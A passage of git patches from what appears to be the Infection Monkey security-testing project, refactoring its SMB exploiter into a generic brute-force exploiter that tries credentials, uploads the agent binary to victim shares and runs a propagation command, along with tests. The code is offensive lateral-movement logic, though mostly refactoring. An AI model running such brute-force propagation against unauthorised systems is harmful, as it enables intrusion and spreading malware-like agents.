BruteForceExploiter( command_builder, - exploit_client_builder, + smb_exploit_client_builder, self._propagation_credentials_repository, self._agent_binary_repository, ) try: logger.debug(f"Running SMB exploiter on host {host.ip}") - return smb_exploiter.exploit_host(host, smb_options, interrupt) + return brute_force_exploiter.exploit_host(host, smb_options, interrupt) except Exception as err: msg = f"An unexpected exception occurred while attempting to exploit host: {err}" logger.exception(msg) diff --git a/monkey/infection_monkey/exploit/tools/__init__.py b/monkey/infection_monkey/exploit/tools/__init__.py index 336000e21ad..fe7d19cc25f 100644 --- a/monkey/infection_monkey/exploit/tools/__init__.py +++ b/monkey/infection_monkey/exploit/tools/__init__.py @@ -7,3 +7,4 @@ RemoteFileCopyError, ) from .i_remote_access_client_builder import IRemoteAccessClientBuilder +from .brute_force_exploiter import BruteForceExploiter diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py similarity index 96% rename from monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py rename to monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index 363f7411c4c..a592b73fee6 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -4,22 +4,23 @@ from common.types import Event from infection_monkey.exploit import IAgentBinaryRepository -from infection_monkey.exploit.tools import ( +from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository +from infection_monkey.utils.threading import interruptible_iter + +from . import ( IRemoteAccessClient, IRemoteAccessClientBuilder, RemoteAuthenticationError, RemoteFileCopyError, generate_brute_force_credentials, ) -from infection_monkey.exploit.tools.helpers import get_agent_dst_path -from infection_monkey.i_puppet import ExploiterResultData, TargetHost -from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository -from infection_monkey.utils.threading import interruptible_iter +from .helpers import get_agent_dst_path logger = logging.getLogger(__name__) -class SMBExploiter: +class BruteForceExploiter: def __init__( self, build_command: Callable[[str, str], str], diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py index c1e91d906c8..b5097773cb2 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py @@ -5,9 +5,9 @@ import pytest from agent_plugins.exploiters.smb.src.plugin import Plugin -from agent_plugins.exploiters.smb.src.smb_exploiter import SMBExploiter from common import OperatingSystem +from infection_monkey.exploit.tools import BruteForceExploiter from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository @@ -24,7 +24,7 @@ def propagation_credentials_repository(): return MagicMock(spec=IPropagationCredentialsRepository) -class MockSMBExploiter(SMBExploiter): +class MockSMBExploiter(BruteForceExploiter): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) @@ -32,7 +32,7 @@ def exploit_host(self, *args, **kwargs) -> ExploiterResultData: return EXPLOITER_RESULT_DATA -class ErrorRaisingMockSMBExploiter(SMBExploiter): +class ErrorRaisingMockSMBExploiter(BruteForceExploiter): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) @@ -44,7 +44,9 @@ def exploit_host(self, *args, **kwargs) -> ExploiterResultData: def plugin( monkeypatch, propagation_credentials_repository: IPropagationCredentialsRepository ) -> Plugin: - monkeypatch.setattr("agent_plugins.exploiters.smb.src.plugin.SMBExploiter", MockSMBExploiter) + monkeypatch.setattr( + "agent_plugins.exploiters.smb.src.plugin.BruteForceExploiter", MockSMBExploiter + ) return Plugin( plugin_name="SMB", @@ -86,7 +88,7 @@ def test_run__exploit_host_raises_exception( propagation_credentials_repository: IPropagationCredentialsRepository, ): monkeypatch.setattr( - "agent_plugins.exploiters.smb.src.plugin.SMBExploiter", + "agent_plugins.exploiters.smb.src.plugin.BruteForceExploiter", ErrorRaisingMockSMBExploiter, ) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py similarity index 78% rename from monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py rename to monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index 96bf6f62f37..40cfd9ca2e8 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -5,13 +5,13 @@ from unittest.mock import MagicMock import pytest -from agent_plugins.exploiters.smb.src.smb_exploiter import SMBExploiter from tests.data_for_tests.propagation_credentials import FULL_CREDENTIALS from common import OperatingSystem from common.credentials import Credentials from infection_monkey.exploit import IAgentBinaryRepository from infection_monkey.exploit.tools import ( + BruteForceExploiter, IRemoteAccessClient, IRemoteAccessClientBuilder, RemoteAuthenticationError, @@ -56,12 +56,12 @@ def mock_agent_binary_repository() -> IAgentBinaryRepository: @pytest.fixture -def smb_exploiter( +def brute_force_exploiter( mock_exploit_client_builder: IRemoteAccessClientBuilder, mock_credentials_repository: IPropagationCredentialsRepository, mock_agent_binary_repository: IAgentBinaryRepository, -) -> SMBExploiter: - return SMBExploiter( +) -> BruteForceExploiter: + return BruteForceExploiter( lambda a, b: "command", mock_exploit_client_builder, mock_credentials_repository, @@ -74,49 +74,49 @@ def target_host() -> TargetHost: return -def run_smb_exploiter( - smb_exploiter: SMBExploiter, interrupt: Event = Event() +def run_brute_force_exploiter( + brute_force_exploiter: BruteForceExploiter, interrupt: Event = Event() ) -> ExploiterResultData: target_host = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS) - return smb_exploiter.exploit_host( + return brute_force_exploiter.exploit_host( host=target_host, interrupt=interrupt, ) -def test_exploit_host__exploit_succeeds(smb_exploiter: SMBExploiter): - result = run_smb_exploiter(smb_exploiter) +def test_exploit_host__exploit_succeeds(brute_force_exploiter: BruteForceExploiter): + result = run_brute_force_exploiter(brute_force_exploiter) assert result.exploitation_success assert result.propagation_success def test_exploit_host__exploit_fails( - smb_exploiter: SMBExploiter, mock_exploit_client: IRemoteAccessClient + brute_force_exploiter: BruteForceExploiter, mock_exploit_client: IRemoteAccessClient ): mock_exploit_client.login.side_effect = Exception() - result = run_smb_exploiter(smb_exploiter) + result = run_brute_force_exploiter(brute_force_exploiter) assert not result.exploitation_success assert not result.propagation_success def test_exploit_host__propagation_succeeds( - smb_exploiter: SMBExploiter, + brute_force_exploiter: BruteForceExploiter, ): - result = run_smb_exploiter(smb_exploiter) + result = run_brute_force_exploiter(brute_force_exploiter) assert result.exploitation_success assert result.propagation_success def test_exploit_host__copy_fails( - smb_exploiter: SMBExploiter, + brute_force_exploiter: BruteForceExploiter, mock_exploit_client: IRemoteAccessClient, ): mock_exploit_client.copy_file.side_effect = RemoteFileCopyError() - result = run_smb_exploiter(smb_exploiter) + result = run_brute_force_exploiter(brute_force_exploiter) assert result.exploitation_success assert not result.propagation_success @@ -133,13 +133,13 @@ def __call__(self, *args: Any, **kwds: Any) -> Any: def test_exploit_host__copy_tries_other_paths( - smb_exploiter: SMBExploiter, + brute_force_exploiter: BruteForceExploiter, mock_exploit_client: IRemoteAccessClient, ): mock_exploit_client.copy_file.side_effect = RemoteFileCopyError("Failed") mock_exploit_client.get_available_paths = get_other_paths(mock_exploit_client.copy_file) - result = run_smb_exploiter(smb_exploiter) + result = run_brute_force_exploiter(brute_force_exploiter) assert mock_exploit_client.get_available_paths.called assert result.exploitation_success assert result.propagation_success @@ -160,7 +160,7 @@ def __call__(self, *args: Any, **kwds: Any) -> Any: @pytest.mark.parametrize("path", OTHER_PATHS) def test_exploit_host__can_interrupt_while_trying_other_paths( - smb_exploiter: SMBExploiter, + brute_force_exploiter: BruteForceExploiter, mock_exploit_client: IRemoteAccessClient, path: str, ): @@ -168,62 +168,61 @@ def test_exploit_host__can_interrupt_while_trying_other_paths( mock_exploit_client.copy_file = interrupt_at_path(my_interrupt, path) mock_exploit_client.get_available_paths.return_value = OTHER_PATHS - result = run_smb_exploiter(smb_exploiter, my_interrupt) + result = run_brute_force_exploiter(brute_force_exploiter, my_interrupt) assert mock_exploit_client.copy_file.last_path == path assert not result.propagation_success def test_exploit_host__execute_fails( - smb_exploiter: SMBExploiter, + brute_force_exploiter: BruteForceExploiter, mock_exploit_client: IRemoteAccessClient, ): mock_exploit_client.execute.side_effect = Exception() - result = run_smb_exploiter(smb_exploiter) + result = run_brute_force_exploiter(brute_force_exploiter) assert result.exploitation_success assert not result.propagation_success def test_exploit_host__exploit_fails_on_remote_authentication_error( - smb_exploiter: SMBExploiter, + brute_force_exploiter: BruteForceExploiter, mock_exploit_client: IRemoteAccessClient, ): mock_exploit_client.login.side_effect = RemoteAuthenticationError() - result = run_smb_exploiter(smb_exploiter) - assert False + result = run_brute_force_exploiter(brute_force_exploiter) assert not result.exploitation_success assert not result.propagation_success def test_exploit_host__exploit_fails_on_authentication_error( - smb_exploiter: SMBExploiter, + brute_force_exploiter: BruteForceExploiter, mock_exploit_client: IRemoteAccessClient, ): mock_exploit_client.login.side_effect = Exception() - result = run_smb_exploiter(smb_exploiter) + result = run_brute_force_exploiter(brute_force_exploiter) assert not result.exploitation_success assert not result.propagation_success def test_exploit_host__propagation_fails_on_execute_error( - smb_exploiter: SMBExploiter, + brute_force_exploiter: BruteForceExploiter, mock_exploit_client: IRemoteAccessClient, ): mock_exploit_client.execute.side_effect = Exception() - result = run_smb_exploiter(smb_exploiter) + result = run_brute_force_exploiter(brute_force_exploiter) assert result.exploitation_success assert not result.propagation_success def test_exploit_host__exploit_skipped_on_interrupt( - smb_exploiter: SMBExploiter, mock_exploit_client: IRemoteAccessClient + brute_force_exploiter: BruteForceExploiter, mock_exploit_client: IRemoteAccessClient ): interrupt = Event() interrupt.set() - result = run_smb_exploiter(smb_exploiter, interrupt) + result = run_brute_force_exploiter(brute_force_exploiter, interrupt) assert result == ExploiterResultData() assert not mock_exploit_client.login.called From 85158cc332e9f5b62dc2d9c7b90fa28764a206c6 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 17 Mar 2023 11:08:59 +0000 Subject: [PATCH 0761/1338] SMB: Remove duplicate test --- .../exploit/tools/test_brute_force_exploiter.py | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index 40cfd9ca2e8..1f0e8d48992 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -90,17 +90,6 @@ def test_exploit_host__exploit_succeeds(brute_force_exploiter: BruteForceExploit assert result.propagation_success -def test_exploit_host__exploit_fails( - brute_force_exploiter: BruteForceExploiter, mock_exploit_client: IRemoteAccessClient -): - mock_exploit_client.login.side_effect = Exception() - - result = run_brute_force_exploiter(brute_force_exploiter) - - assert not result.exploitation_success - assert not result.propagation_success - - def test_exploit_host__propagation_succeeds( brute_force_exploiter: BruteForceExploiter, ): From 9f8f3c033403a2e3e957c525f51dee3aa715133e Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 17 Mar 2023 11:09:24 +0000 Subject: [PATCH 0762/1338] SMB: Remove unused test fixture --- .../exploit/tools/test_brute_force_exploiter.py | 5 ----- 1 file changed, 5 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index 1f0e8d48992..3d054b4aa49 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -69,11 +69,6 @@ def brute_force_exploiter( ) -@pytest.fixture -def target_host() -> TargetHost: - return - - def run_brute_force_exploiter( brute_force_exploiter: BruteForceExploiter, interrupt: Event = Event() ) -> ExploiterResultData: From 18945ca5601091303c0855e6da81603e90bcfb14 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 17 Mar 2023 13:39:02 +0000 Subject: [PATCH 0763/1338] SMB: Rename IRemoteAccessClient{Builder -> Factory} --- monkey/agent_plugins/exploiters/smb/src/plugin.py | 8 ++++---- ...nt_builder.py => smb_exploit_client_factory.py} | 13 +++++++++---- monkey/infection_monkey/exploit/tools/__init__.py | 2 +- .../exploit/tools/brute_force_exploiter.py | 8 ++++---- ...uilder.py => i_remote_access_client_factory.py} | 4 ++-- .../exploit/tools/test_brute_force_exploiter.py | 14 +++++++------- 6 files changed, 27 insertions(+), 22 deletions(-) rename monkey/agent_plugins/exploiters/smb/src/{smb_exploit_client_builder.py => smb_exploit_client_factory.py} (55%) rename monkey/infection_monkey/exploit/tools/{i_remote_access_client_builder.py => i_remote_access_client_factory.py} (51%) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index c97ede9e054..0876a7633b5 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -16,7 +16,7 @@ from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository from .smb_command_builder import build_smb_command -from .smb_exploit_client_builder import SMBExploitClientBuilder +from .smb_exploit_client_factory import SMBExploitClientFactory from .smb_options import SMBOptions logger = logging.getLogger(__name__) @@ -59,20 +59,20 @@ def run( return ExploiterResultData(error_message=msg) command_builder = partial(build_smb_command, servers, current_depth) - smb_exploit_client_builder = SMBExploitClientBuilder( + smb_exploit_client_factory = SMBExploitClientFactory( self._agent_event_publisher, host, smb_options ) brute_force_exploiter = BruteForceExploiter( command_builder, - smb_exploit_client_builder, + smb_exploit_client_factory, self._propagation_credentials_repository, self._agent_binary_repository, ) try: logger.debug(f"Running SMB exploiter on host {host.ip}") - return brute_force_exploiter.exploit_host(host, smb_options, interrupt) + return brute_force_exploiter.exploit_host(host, interrupt) except Exception as err: msg = f"An unexpected exception occurred while attempting to exploit host: {err}" logger.exception(msg) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_builder.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_factory.py similarity index 55% rename from monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_builder.py rename to monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_factory.py index e0015f51b30..efd94c9ca77 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_builder.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_factory.py @@ -1,18 +1,23 @@ +from typing import Any + from common.event_queue import IAgentEventPublisher -from infection_monkey.exploit.tools import IRemoteAccessClientBuilder +from infection_monkey.exploit.tools import IRemoteAccessClientFactory from infection_monkey.i_puppet import TargetHost from .smb_exploit_client import SMBExploitClient from .smb_options import SMBOptions -class SMBExploitClientBuilder(IRemoteAccessClientBuilder): +class SMBExploitClientFactory(IRemoteAccessClientFactory): def __init__( - self, agent_event_publisher: IAgentEventPublisher, host: TargetHost, options: SMBOptions + self, + agent_event_publisher: IAgentEventPublisher, + host: TargetHost, + options: SMBOptions, ): self._agent_event_publisher = agent_event_publisher self._host = host self._options = options - def build_client(self) -> SMBExploitClient: + def create(self, **kwargs: Any) -> SMBExploitClient: return SMBExploitClient(self._agent_event_publisher, self._host, self._options) diff --git a/monkey/infection_monkey/exploit/tools/__init__.py b/monkey/infection_monkey/exploit/tools/__init__.py index fe7d19cc25f..fd2f532a28a 100644 --- a/monkey/infection_monkey/exploit/tools/__init__.py +++ b/monkey/infection_monkey/exploit/tools/__init__.py @@ -6,5 +6,5 @@ RemoteCommandExecutionError, RemoteFileCopyError, ) -from .i_remote_access_client_builder import IRemoteAccessClientBuilder +from .i_remote_access_client_factory import IRemoteAccessClientFactory from .brute_force_exploiter import BruteForceExploiter diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index a592b73fee6..a68c0121503 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -10,7 +10,7 @@ from . import ( IRemoteAccessClient, - IRemoteAccessClientBuilder, + IRemoteAccessClientFactory, RemoteAuthenticationError, RemoteFileCopyError, generate_brute_force_credentials, @@ -24,12 +24,12 @@ class BruteForceExploiter: def __init__( self, build_command: Callable[[str, str], str], - exploit_client_builder: IRemoteAccessClientBuilder, + exploit_client_factory: IRemoteAccessClientFactory, propagation_credentials_repository: IPropagationCredentialsRepository, agent_binary_repository: IAgentBinaryRepository, ): self._build_command = build_command - self._exploit_client_builder = exploit_client_builder + self._exploit_client_factory = exploit_client_factory self._propagation_credentials_repository = propagation_credentials_repository self._agent_binary_repository = agent_binary_repository @@ -41,7 +41,7 @@ def exploit_host( if interrupt.is_set(): return ExploiterResultData() - exploit_client = self._exploit_client_builder.build_client() + exploit_client = self._exploit_client_factory.create() try: self._exploit(exploit_client, interrupt) diff --git a/monkey/infection_monkey/exploit/tools/i_remote_access_client_builder.py b/monkey/infection_monkey/exploit/tools/i_remote_access_client_factory.py similarity index 51% rename from monkey/infection_monkey/exploit/tools/i_remote_access_client_builder.py rename to monkey/infection_monkey/exploit/tools/i_remote_access_client_factory.py index 4a47b91bf23..312a4bd80b1 100644 --- a/monkey/infection_monkey/exploit/tools/i_remote_access_client_builder.py +++ b/monkey/infection_monkey/exploit/tools/i_remote_access_client_factory.py @@ -3,7 +3,7 @@ from . import IRemoteAccessClient -class IRemoteAccessClientBuilder(ABC): +class IRemoteAccessClientFactory(ABC): @abstractmethod - def build_client(self, **kwargs) -> IRemoteAccessClient: + def create(self, **kwargs) -> IRemoteAccessClient: pass diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py index 3d054b4aa49..928edc69b89 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_brute_force_exploiter.py @@ -13,7 +13,7 @@ from infection_monkey.exploit.tools import ( BruteForceExploiter, IRemoteAccessClient, - IRemoteAccessClientBuilder, + IRemoteAccessClientFactory, RemoteAuthenticationError, RemoteFileCopyError, ) @@ -35,10 +35,10 @@ def mock_exploit_client() -> IRemoteAccessClient: @pytest.fixture -def mock_exploit_client_builder(mock_exploit_client) -> IRemoteAccessClientBuilder: - builder = MagicMock(spec=IRemoteAccessClientBuilder) - builder.build_client.return_value = mock_exploit_client - return builder +def mock_exploit_client_factory(mock_exploit_client) -> IRemoteAccessClientFactory: + factory = MagicMock(spec=IRemoteAccessClientFactory) + factory.build_client.return_value = mock_exploit_client + return factory @pytest.fixture @@ -57,13 +57,13 @@ def mock_agent_binary_repository() -> IAgentBinaryRepository: @pytest.fixture def brute_force_exploiter( - mock_exploit_client_builder: IRemoteAccessClientBuilder, + mock_exploit_client_factory: IRemoteAccessClientFactory, mock_credentials_repository: IPropagationCredentialsRepository, mock_agent_binary_repository: IAgentBinaryRepository, ) -> BruteForceExploiter: return BruteForceExploiter( lambda a, b: "command", - mock_exploit_client_builder, + mock_exploit_client_factory, mock_credentials_repository, mock_agent_binary_repository, ) From 464ebba0c5a8a423b540eb506d1fe6c739d537ba Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 17 Mar 2023 13:59:44 +0000 Subject: [PATCH 0764/1338] SMB: Add docstrings for BruteForceExploiter --- .../exploit/tools/brute_force_exploiter.py | 22 +++++++++++++++++++ 1 file changed, 22 insertions(+) diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index a68c0121503..4df5dea6f3f 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -21,6 +21,14 @@ class BruteForceExploiter: + """ + An exploiter that brute-forces credentials and propagates the Monkey agent + + Operates on any exploit client that implements `IRemoteAccessClient`. An + instance of `IRemoteAccessClientFactory` must be provided to create the + exploit client. + """ + def __init__( self, build_command: Callable[[str, str], str], @@ -28,6 +36,13 @@ def __init__( propagation_credentials_repository: IPropagationCredentialsRepository, agent_binary_repository: IAgentBinaryRepository, ): + """ + :param build_command: A function that builds a command to propagate the Monkey agent + :param exploit_client_factory: A factory that creates the exploit client + :param propagation_credentials_repository: A repository that provides credentials for + propagation + :param agent_binary_repository: A repository that provides the agent binary + """ self._build_command = build_command self._exploit_client_factory = exploit_client_factory self._propagation_credentials_repository = propagation_credentials_repository @@ -38,6 +53,13 @@ def exploit_host( host: TargetHost, interrupt: Event, ) -> ExploiterResultData: + """ + Exploits the given host and propagates the Monkey agent + + :param host: The host to exploit + :param interrupt: An event that can be set to interrupt the exploit + :return: The result of the exploit + """ if interrupt.is_set(): return ExploiterResultData() From 7d3d287f8a02444c91b71865206d94452c6aafa5 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 17 Mar 2023 14:13:09 +0000 Subject: [PATCH 0765/1338] SMB: Remove RemoteCopyFileError --- .../exploiters/smb/src/smb_exploit_client.py | 8 ++++---- monkey/common/agent_plugins/__init__.py | 1 - monkey/common/agent_plugins/exceptions.py | 4 ---- 3 files changed, 4 insertions(+), 9 deletions(-) delete mode 100644 monkey/common/agent_plugins/exceptions.py diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index ba3fdc18012..67722dd288a 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -7,10 +7,10 @@ from impacket.dcerpc.v5 import scmr, srvs, transport from impacket.smbconnection import SMBConnection -from common.agent_plugins import RemoteCopyFileError from common.credentials import Credentials from common.event_queue import IAgentEventPublisher from common.types import Event +from infection_monkey.exploit.tools import RemoteFileCopyError from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.i_puppet import TargetHost @@ -118,7 +118,7 @@ def copy_file( ): """Raises an exception if the copy failed""" if not self._query_server_info(): - raise RemoteCopyFileError("No server information is available") + raise RemoteFileCopyError("No server information is available") destination_path = get_agent_dst_path(self._host) shares = self._query_shares(destination_path) @@ -132,7 +132,7 @@ def copy_file( try: if not self._smb: - raise RemoteCopyFileError("Not authenticated") + raise RemoteFileCopyError("Not authenticated") self._smb.setTimeout(self._options.agent_binary_upload_timeout) self._smb.putFile(share_name, remote_path, file.read) @@ -150,7 +150,7 @@ def copy_file( f"Error uploading monkey to share '{share_name}' on victim {self._host}: {exc}" ) logger.error(error_message) - raise RemoteCopyFileError(error_message) + raise RemoteFileCopyError(error_message) def _query_server_info(self): try: diff --git a/monkey/common/agent_plugins/__init__.py b/monkey/common/agent_plugins/__init__.py index 89099bf0d51..42d98fdd4a4 100644 --- a/monkey/common/agent_plugins/__init__.py +++ b/monkey/common/agent_plugins/__init__.py @@ -1,4 +1,3 @@ from .agent_plugin_type import AgentPluginType from .agent_plugin_manifest import AgentPluginManifest from .agent_plugin import AgentPlugin -from .exceptions import RemoteCopyFileError diff --git a/monkey/common/agent_plugins/exceptions.py b/monkey/common/agent_plugins/exceptions.py deleted file mode 100644 index 38d1bea8386..00000000000 --- a/monkey/common/agent_plugins/exceptions.py +++ /dev/null @@ -1,4 +0,0 @@ -class RemoteCopyFileError(Exception): - """ - Raised when remote copy file operating fails. - """ From 2bd21eec0b9cc0181eb924a0f98468be560cd208 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 17 Mar 2023 14:24:53 +0000 Subject: [PATCH 0766/1338] SMB: Clean up BruteForceExploiter._copy_file --- .../exploit/tools/brute_force_exploiter.py | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index 4df5dea6f3f..b36beedadda 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -1,4 +1,5 @@ import logging +from contextlib import suppress from io import BytesIO from typing import Callable @@ -108,16 +109,14 @@ def _copy_file( self, file: BytesIO, destination: str, exploit_client: IRemoteAccessClient, interrupt: Event ) -> str: file_data = file.getvalue() - try: + with suppress(RemoteFileCopyError): exploit_client.copy_file(file_data, destination) return destination - except RemoteFileCopyError: - other_destinations = exploit_client.get_available_paths() - for other_destination in interruptible_iter(other_destinations, interrupt): - try: - exploit_client.copy_file(file_data, other_destination) - return other_destination - except RemoteFileCopyError: - continue + + other_destinations = exploit_client.get_available_paths() + for other_destination in interruptible_iter(other_destinations, interrupt): + with suppress(RemoteFileCopyError): + exploit_client.copy_file(file_data, other_destination) + return other_destination raise Exception("Failed to copy file") From 6856fe2a27622438ba0962dee3b9de60046a1f87 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 17 Mar 2023 15:24:41 +0000 Subject: [PATCH 0767/1338] SMB: Move credentials generation to BruteForceCredentialsProvider --- .../exploiters/smb/src/plugin.py | 12 ++++++--- .../exploit/tools/__init__.py | 1 + .../tools/brute_force_credentials_provider.py | 27 +++++++++++++++++++ .../exploit/tools/brute_force_exploiter.py | 15 +++++------ .../tools/test_brute_force_exploiter.py | 3 ++- 5 files changed, 45 insertions(+), 13 deletions(-) create mode 100644 monkey/infection_monkey/exploit/tools/brute_force_credentials_provider.py diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 0876a7633b5..2c4507e89f5 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -11,7 +11,11 @@ # dependencies to get rid of or internalize from infection_monkey.exploit import IAgentBinaryRepository -from infection_monkey.exploit.tools import BruteForceExploiter +from infection_monkey.exploit.tools import ( + BruteForceCredentialsProvider, + BruteForceExploiter, + generate_brute_force_credentials, +) from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository @@ -35,7 +39,9 @@ def __init__( ): self._agent_event_publisher = agent_event_publisher self._agent_binary_repository = agent_binary_repository - self._propagation_credentials_repository = propagation_credentials_repository + self._credentials_provider = BruteForceCredentialsProvider( + propagation_credentials_repository, generate_brute_force_credentials + ) def run( self, @@ -66,7 +72,7 @@ def run( brute_force_exploiter = BruteForceExploiter( command_builder, smb_exploit_client_factory, - self._propagation_credentials_repository, + self._credentials_provider, self._agent_binary_repository, ) diff --git a/monkey/infection_monkey/exploit/tools/__init__.py b/monkey/infection_monkey/exploit/tools/__init__.py index fd2f532a28a..4bc374f4170 100644 --- a/monkey/infection_monkey/exploit/tools/__init__.py +++ b/monkey/infection_monkey/exploit/tools/__init__.py @@ -7,4 +7,5 @@ RemoteFileCopyError, ) from .i_remote_access_client_factory import IRemoteAccessClientFactory +from .brute_force_credentials_provider import BruteForceCredentialsProvider from .brute_force_exploiter import BruteForceExploiter diff --git a/monkey/infection_monkey/exploit/tools/brute_force_credentials_provider.py b/monkey/infection_monkey/exploit/tools/brute_force_credentials_provider.py new file mode 100644 index 00000000000..bb45527bece --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/brute_force_credentials_provider.py @@ -0,0 +1,27 @@ +from typing import Callable, Iterable + +from common.credentials import Credentials +from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository + + +class BruteForceCredentialsProvider: + """ + Provides credentials for brute-forcing propagation + + :param credentials_repository: A repository that provides credentials for propagation + :param generate_brute_force_credentials: A function that generates credentials combinations + for brute-forcing + """ + + def __init__( + self, + credentials_repository: IPropagationCredentialsRepository, + generate_brute_force_credentials: Callable[[Iterable[Credentials]], Iterable[Credentials]], + ) -> None: + self._credentials_repository = credentials_repository + self._generate_brute_force_credentials = generate_brute_force_credentials + + def __call__(self) -> Iterable[Credentials]: + propagation_credentials = self._credentials_repository.get_credentials() + for credentials in self._generate_brute_force_credentials(propagation_credentials): + yield credentials diff --git a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py index b36beedadda..9de5e3503bd 100644 --- a/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py +++ b/monkey/infection_monkey/exploit/tools/brute_force_exploiter.py @@ -1,12 +1,12 @@ import logging from contextlib import suppress from io import BytesIO -from typing import Callable +from typing import Callable, Iterable +from common.credentials import Credentials from common.types import Event from infection_monkey.exploit import IAgentBinaryRepository from infection_monkey.i_puppet import ExploiterResultData, TargetHost -from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository from infection_monkey.utils.threading import interruptible_iter from . import ( @@ -14,7 +14,6 @@ IRemoteAccessClientFactory, RemoteAuthenticationError, RemoteFileCopyError, - generate_brute_force_credentials, ) from .helpers import get_agent_dst_path @@ -34,19 +33,18 @@ def __init__( self, build_command: Callable[[str, str], str], exploit_client_factory: IRemoteAccessClientFactory, - propagation_credentials_repository: IPropagationCredentialsRepository, + get_credentials: Callable[[], 